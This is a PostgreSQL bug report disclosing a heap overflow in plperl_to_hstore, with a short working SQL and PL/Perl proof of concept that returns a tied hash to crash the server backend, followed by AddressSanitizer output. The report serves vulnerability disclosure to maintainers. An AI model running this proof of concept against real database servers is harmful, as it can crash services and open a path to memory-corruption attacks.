BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash

From: PG Bug reporting form <noreply(at)postgresql(dot)org>
To: pgsql-bugs(at)lists(dot)postgresql(dot)org
Cc: 1217816127(at)qq(dot)com
Subject: BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
Date: 2026-08-03 08:22:20
Message-ID: 19604-2471ca9f781fa9e0@postgresql.org
Views: Whole Thread | Raw Message | Download mbox | Resend email
Thread:
Lists: pgsql-bugs

The following bug has been logged on the website:

Bug reference: 19604
Logged by: Yuelin Wang
Email address: 1217816127(at)qq(dot)com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:

### Summary

In `contrib/hstore_plperl/hstore_plperl.c`, `plperl_to_hstore()` sizes its
`Pairs` array from `hv_iterinit()`. For tied Perl hashes, that count can be
small while `hv_iternext()` yields many keys. Trusted `plperl` code can
return such a hash and write far past the allocated array during hstore
conversion.

### PoC

SQL script:

```sql
CREATE EXTENSION IF NOT EXISTS hstore;
CREATE EXTENSION IF NOT EXISTS plperl;
CREATE EXTENSION IF NOT EXISTS hstore_plperl;

CREATE OR REPLACE FUNCTION vuln_hstore_boom() RETURNS hstore
LANGUAGE plperl
TRANSFORM FOR TYPE hstore
AS $$
package VulnEvil;
sub TIEHASH { bless { n=>0, max=>100000 }, shift }
sub FIRSTKEY { $_[0]{n}=0; "k0" }
sub NEXTKEY { my $s=shift; $s->{n}++; $s->{n}>=$s->{max} ? undef :
"k".$s->{n} }
sub FETCH { "v" }
sub EXISTS { 1 }
package main;
tie my %h, 'VulnEvil';
return \%h;
$$;

SELECT vuln_hstore_boom();
```

### Result

The backend crashes during hstore conversion:

```text
AddressSanitizer: SEGV
plperl_to_hstore
plperl_sv_to_datum
plperl_func_handler
server closed the connection unexpectedly
```

Responses

Browse pgsql-bugs by date

  From Date Subject
Next Message PG Bug reporting form 2026-08-03 08:40:59 BUG #19607: Bug 18: `pg_surgery` infinite loop in `heap_force_common`
Previous Message PG Bug reporting form 2026-08-03 07:00:47 BUG #19603: Vuln47: distance_taxicab and distance_chebyshev silently return 0 instead of NaN when a cube coordin